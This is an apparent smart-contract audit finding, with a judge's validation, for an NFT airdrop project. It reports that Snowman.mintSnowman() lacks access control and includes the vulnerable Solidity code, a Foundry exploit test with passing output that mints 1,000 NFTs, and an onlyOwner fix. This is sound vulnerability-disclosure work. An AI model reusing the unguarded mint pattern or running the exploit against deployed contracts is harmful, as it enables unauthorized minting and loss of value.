Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Anyone can call Snowman.mintSnowman() and mint unlimited NFTs for free

Root + Impact

Description

// src/Snowman.sol - mintSnowman() has no access control
@> function mintSnowman(address receiver, uint256 amount) external {
@> for (uint256 i = 0; i < amount; i++) {
@> _safeMint(receiver, s_TokenCounter);
@> s_TokenCounter++;
@> }
@> emit SnowmanMinted(receiver, amount);
@> }
​
The only intended caller is SnowmanAirdrop.claimSnowman(), yet mintSnowman() is external with no access control: no onlyOwner modifier (even though Snowman inherits Ownable) and no check that msg.sender is the airdrop contract. Any address can mint any number of Snowman NFTs to any address, for free.
​
Impact: the Snow purchase, the Snow staking and the Merkle airdrop are all bypassed. An attacker can inflate the NFT supply without limit, destroy the collection's scarcity, and corrupt the token counter that the airdrop relies on. Likelihood is high because the call needs no funds, no Snow, no Merkle proof and no signature.

Risk

Likelihood:

Impact:

Proof of Concept

// Steps to reproduce (manual trace against src/Snowman.sol):
// 1. Deploy the project as in script/DeploySnowmanAirdrop.s.sol.
// 2. From an arbitrary address that holds no Snow tokens and has no
// Merkle allocation, call Snowman.mintSnowman(attacker, 100).
// 3. The call succeeds and the attacker owns token IDs 0-99.
// No ETH, no Snow, no Merkle proof and no signature are needed, and
// the call can be repeated to mint further tokens with new IDs.
// The project's own tests only ever mint through claimSnowman()
// (see test/TestSnowmanAirdrop.t.sol), so this path is untested.

Recommended Mitigation

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
​
Then transfer ownership of the Snowman contract to the SnowmanAirdrop contract at deployment, so only the airdrop can mint. Alternatively, add an onlyAirdrop modifier that checks msg.sender against the airdrop address and reverts with the existing SM__NotAllowed error.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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